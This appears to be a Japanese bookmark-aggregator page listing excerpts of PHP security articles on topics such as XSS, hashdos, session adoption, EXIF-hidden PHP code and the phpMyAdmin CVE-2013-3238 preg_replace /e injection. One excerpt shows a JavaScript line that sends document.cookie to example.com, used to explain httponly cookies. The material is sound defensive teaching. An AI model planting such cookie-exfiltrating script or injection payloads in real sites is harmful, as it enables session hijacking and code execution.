PHP勉強会#110での発表資料です。
ハッシュと暗号は違うぞ！ / Do not confuse hashes and ciphers.
PHP勉強会#110での発表資料です。
JPEGファイルのEXIFヘッダは危険（かもしれない） - Qiita
これ以上ない小ネタですｗ JPEGファイルのEXIFヘッダは、位置情報を埋め込んだりできて便利（？）ですが、先日このEXIFヘッダにPHPコードを仕込むマルウェアが発見されており、画像を自由に登録できるサービスを提供している場合は注意が必要です。 （実際には、この方法でサイトの閲覧者に任意のコードを実行するにはEXIFヘッダに埋め込まれたコードを取得＆実行するスクリプトを事前にサーバに配置しておかなければならないため、危険度はそれほど高くはないと思われます） ただ、ジオタグ（位置情報）など、個人情報が含まれる画像が意図せずアップロードされることは可能性としてあると思いますので、サービス側としては不要なEXIFタグは削除して登録したいものです。 こういう場合、対応手段としては コマンドで一括して削除する PHP Exif LibraryなどEXIFヘッダを読み書きできるライブラリを使い削除す
ApacheのAddHandlerはセキュリティ上の懸念から使用すべきではない - このブログはURLが変更になりました
元ネタはこちら。 Apache AddHandler madness all over the place Gentoo Bug 538822 どういうことか 次のような指定は危険である。 AddHandler php5-script .php この時に指定される.phpはファイル名の末尾である必要はない。例えば、 aaa.php.html bbb.php.pngなどもphp5-scriptとして解釈されてしまうのだ。これは.XXX.YYYと複数の拡張子が書かれた場合、.XXXと.YYYもAddHandlerの対象となることが原因。 ちなみに次のような場合にはphp5-scriptとして解釈されない。 ccc.php_foo (.php_fooとして解釈されるため) ddd.php_bar.html (.php_barと.htmlとして解釈されるため)実はこのことはApacheのドキュメン
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
この記事はPHPアドベントカレンダー2014の22日目の記事です 。 2002年3月に公開されたIPAの人気コンテンツ「セキュアプログラミング講座」が2007年6月に大幅に更新されました。そして、その一節がPHPerたちを激しく刺激することになります。 (1) プログラミング言語の選択 1) 例えば、PHPを避ける 短時日で素早くサイトを立ち上げることのみに着目するのであれば、PHPは悪い処理系ではない。しかし、これまで多くの脆弱性を生んできた経緯があり、改善が進んでいるとはいえまだ十分堅固とは言えない。 セキュアプログラミング講座（アーカイブ）より引用 「PHPを避ける」とまで言われてしまったわけで、当然ながらネット界隈では炎上を起こし、現在はもう少しマイルドな表現に変わっています(参照)。 本稿では、当時のPHPの状況を振り返る手段として、この後PHPのセキュリティ機能がどのように変化
数字6桁パスワードのハッシュ値の総当たり、PHPなら約0.25秒で終わるよ
JALの6桁数字パスワード問題から派生して、JALのサイトがパスワードリマインダとして「現在のパスワード」を教えてくれることから、JALサイトではパスワードを平文保存しているのではないかという疑惑が持ち上がっています。それに対して、「いやいや、従来の主流と思われるソルト付きMD5ハッシュでの保存しても、実用的な速度でハッシュ値から元パスワードを『解読』できるよ」と、JALを擁護（?）するエントリが現れました。 パスワード問合せシステムを作る (clojureのreducers) この記事では、最初Clojureによる単純な総当たりで36秒、Clojureのreducersによる並列化で11秒でハッシュ値から元パスワードが求められるよ、と説明されています。まことに痛快な記事ですので、未読の方には一読をお勧めします。 とはいうものの、100万件のMD5の総当たりが、逐次実行で36秒、並列化して
phpMyAdmin3.5.8以前に任意のスクリプト実行を許す脆弱性(CVE-2013-3238)
脆弱性の発生するメカニズム 脆弱性の原因はlibraries/mult_submits.inc.php の以下の部分です。 case 'replace_prefix_tbl': $current = $selected[$i]; $newtablename = preg_replace("/^" . $from_prefix . "/", $to_prefix, $current); 上記再現手順の場合、preg_replace関数の呼び出しは以下の引数となります。 preg_replace("/^/e\0/", "phpinfo();", "test"); preg_replace関数(PHP5.4.6以前)の第１引数はバイナリセーフでないため、NULLバイト以降が無視され、結局以下の引数で呼び出されたのと同じになります。 preg_replace("/^/e", "phpinfo();
プリペアドステートメント - データベース接続(PEAR::DB) - PEAR入門
例えば何行ものデータを挿入する場合を考えて見ます。値だけ異なるようなSQL文を何度も実行する場合、プリペアドステートメントを使うと便利です。 プリペアドステートメントを使う場合には"query"メソッドの代わりにDB_commonクラスで用意されている"prepare"メソッドを使います。 prepare resource prepare (string $query) execute() で実行できるように、SQL 文を 準備します。 パラメータ: string $query 準備するクエリ。 返り値: resource - クエリのハンドル、あるいは失敗した場合に DB_Error オブ ジェクトを返します。 使い方は"query"メソッドでプレースホルダーを使った場合と同じです。何度も繰り返し使われるSQL文の中で、毎回異なる値の部分を「?」で置き換えて指定します。 $sql = "
mysql_real_escape_string - SQL 文中で用いる文字列の特殊文字をエスケープする
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier = NULL ] ) 現在の接続の文字セットで unescaped_string の特殊文字をエスケープし、 mysql_query() で安全に利用できる形式に変換します。バイナリデータを挿入しようとしている場合、 必ずこの関数を利用しなければなりません。 mysql_real_escape_string() は、MySQL のライブラリ関数 mysql_real_escape_string をコールしています。 これは以下の文字について先頭にバックスラッシュを付加します。 \x00, \n, \r, \, ', " そして \x1a. データの安全性を確保するため、MySQL へクエリを送信する場合には （わずか
PHPのセッションアダプション脆弱性は修正して当然の脆弱性
(Last Updated On: 2018年8月18日)PHPのセッションアダプション脆弱性がどのように影響するのか、広く誤解されているようです。セキュリティ専門家でも正しく理解していないので、一部のPHP開発者が正しく理解しなかったのは仕方ないのかも知れません。 Webセキュリティの第一人者の一人である徳丸氏は「PHPのセッションアダプション脆弱性は脅威ではない」と書いていますが、いろいろ間違いです。私は2005年頃から現在まで様々な機会に問題であると何度も繰り返し説明しており、しばらくすれば間違いに自分で気付くのでは？と思っていたので特に反論していませんでした。しかし、まだ気づかれていないようなので、幾つかある攻撃パターンのうち解りやすい例を1つだけ紹介しておきます。 以下の簡単なPHPスクリプトを利用します。興味がある方は実験してみてください。結果はブラウザに影響されます。私はLi
PHPのイタい入門書を読んでAjaxのXSSについて検討した(3)～JSON等の想定外読み出しによる攻撃～ - ockeghem(徳丸浩)の日記
昨日の日記の続きで、Ajaxに固有なセキュリティ問題について検討します。今回はJSON等の想定外読み出しによる攻撃です。これら攻撃手法は本来ブラウザ側で対応すべきもので、やむを得ずWebアプリケーション側で対応する上で、まだ定番となる対策がないように思えます。このため、複数の候補を示することで議論のきっかけにしたいと思います。 まず、作りながら基礎から学ぶPHPによるWebアプリケーション入門XAMPP/jQuery/HTML5で作るイマドキのWeから、Ajaxを利用したアプリケーションの概念図を引用します（同書P20の図1-23）。 前回、前々回は、(5)のHTTPレスポンスの前後で、JSON等のデータ作成（エンコード）に起因するevalインジェクションや、(5)のレスポンスを受け取った後のHTMLレンダリングの際のXSSについて説明しました。 しかし、問題はこれだけではありません。正常
Cookieを盗む例とhttponly属性 at softelメモ
以下は、とても単純なJavascriptによる例。 document.write('<img src="http://example.com/?x=' +escape(document.cookie) + '">'); example.com に対してGET渡しでdocument.cookieが送信される。 取得されたcookieにセッションIDが含まれるとセッションIDが他人に知られるところとなる。 リンクを踏ませるなどの方法でHTML中に上のようなスクリプトを仕込むことができると、攻撃が成立する。 対策例 document.cookieで取得できてしまうから危険なのでは？ → 発行するcookieにhttponly属性を付与して、document.cookieで取得できなくしよう WordPressでも以下のような書き方をしていた。PHP5.2.0で追加された第7引数でhttponly
PHPでクロスサイトスクリプティング(XSS)対策をちょっとだけ楽にする | ––help – エンジニアのメモ
$_GETや$_POSTをHTMLとして出力するときには必ずエスケープの処理が必要だけど出力する箇所すべてに書くのは面倒だしコード量も多くなるし漏れが出そうだし・・ かといって$_GETを丸ごとエスケープ！なんてことをすると二重エスケープしてしまったり、ロジックでエスケープ前のデータがほしいときにアンエスケープしないといけなくなったりしますね。 ここで紹介する方法は$_GETのような配列をクラスでラップする方法です。 こんな感じで使います。 <?php $in = new InputWrapper($_GET); echo $in->hello; // $_GET['hello']が入力にあればエスケープ済みの文字列が出力されます。 if (isset($in->world)) { // issetも使えます echo $in->world; } else { echo '世界がありま
5分でできるPHPセキュリティ対策 - ぼくはまちちゃん！
こんにちはこんにちは！！ Webプログラミングしてますか！ よく「PHPはセキュリティがダメ」とか言われてるよね。 でもそれって、べつにPHPが悪いんじゃなくて、 たぶん、セキュリティとかが、まだよくわからない人が多いだけなんじゃないかな。 がんばって勉強しようと思っても、なんだか難しい理屈が並んでいたりするしね…。 なので今日は、セキュリティ対策について、 「これだけやっとけば、わりと安全になるよ」ってことを、初心者むけに、大雑把に書いてみます！ 理屈がわからなくても、最初はコピペでも、 なにもやらないより、やったほうがきっとマシになる！ 1. XSS対策 動的なものを表示するとき、全部エスケープすればokです！ (NG) あなたの名前は <?= $name ?> ですね！ ↓ (OK) あなたの名前は <?= htmlspecialchars($name, ENT_QUOTES) ?>
PHP 5.3.9 の脆弱性に関する注意喚起
各位 JPCERT-AT-2012-0004 JPCERT/CC 2012-02-06 <<< JPCERT/CC Alert 2012-02-06 >>> PHP 5.3.9 の脆弱性に関する注意喚起 https://www.jpcert.or.jp/at/2012/at120004.html I. 概要 PHP 5.3.9 の脆弱性情報が 2012年2月2日に公開されました。この脆弱性を 使用された場合、結果として遠隔の第三者によって任意のコードを実行される 可能性があります。 JPCERT/CC では本脆弱性を使用する実証コードが公開されていることを確認 していますので、管理するサーバにおいて PHP を使用している場合は、 PHP Group が提供する修正済みバージョン (PHP 5.3.10) へアップデートする ことをお勧めします。 PHP 5.3.10 Released!
Cookieによるhashdos攻撃と対策
このエントリでは、Cookieを用いたhashdos攻撃の可能性について検討し、実証結果と対策について報告します。 はじめに既に当ブログで報告の通り、hashdosと呼ばれる攻撃手法が公表されています。HTTPリクエストのパラメータ名に対するハッシュ値を故意に同一にした(衝突させた)ものを多数（数万程度）送信することにより、Webサーバーを数分程度過負荷にできるというDoS攻撃手法です。 先の記事でも説明しているようにPOSTパラメータ(HTTPリクエストボディ)に多数のパラメータを仕込む攻撃が典型的ですが、POSTパラメータ以外のパラメータを用いた攻撃についても検討しておかないと、防御漏れの可能性が生じます。 そこで、POSTパラメータ以外を用いた攻撃方法について検討します。 POST以外に多数のパラメータを仕込めるかPOST以外に多数のパラメータを仕込む場所があるでしょうか。候補となる
広範なWebアプリ開発言語にDoS攻撃につながる脆弱性 － ＠IT
2012/01/06 情報処理推進機構（IPA）は1月6日、広くWebアプリケーション構築に用いられている開発言語やフレームワークに、DoS攻撃につながる脆弱性が発見されたことを踏まえ、緊急対策情報を公開した。 影響を受けるのは、PHPやRubyといった開発言語のほか、WebアプリケーションフレームワークのApache Tomcat、Microsoft .NET Frameworkなど。これらの言語が実装しているハッシュテーブル機構に脆弱性がある。わざとハッシュ値が同じ値になるようなパラメータを大量に送り付け、「ハッシュ衝突」状態を作り出すとDoS状態に陥ってしまう。いわゆる「Hashdos」という攻撃で、例えばPOSTフォームからこうしたデータを送信することで、Webアプリケーションが停止するなどの被害が考えられる。 この脆弱性を踏まえ、マイクロソフトは2011年12月30日に、Micr
Webアプリケーションに対する広範なDoS攻撃手法(hashdos)の影響と対策
28C3(28th Chaos Communication Congress)において、Effective Denial of Service attacks against web application platforms（Webプラットフォームに対する効果的なサービス妨害攻撃）と題する発表がありました（タイムスケジュール、講演スライド）。 これによると、PHPをはじめとする多くのWebアプリケーション開発プラットフォームに対して、CPU資源を枯渇させるサービス妨害攻撃(DoS攻撃)が可能な手法が見つかったということです。この攻撃は、hashdos と呼ばれています。 概要PHPなど多くの言語では、文字列をキーとする配列（連想配列、ハッシュ）が用意されており、HTTPリクエストのパラメータも連想配列の形で提供されます。PHPの場合、$_GET、$_POSTなどです。 連想配列の実装には
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
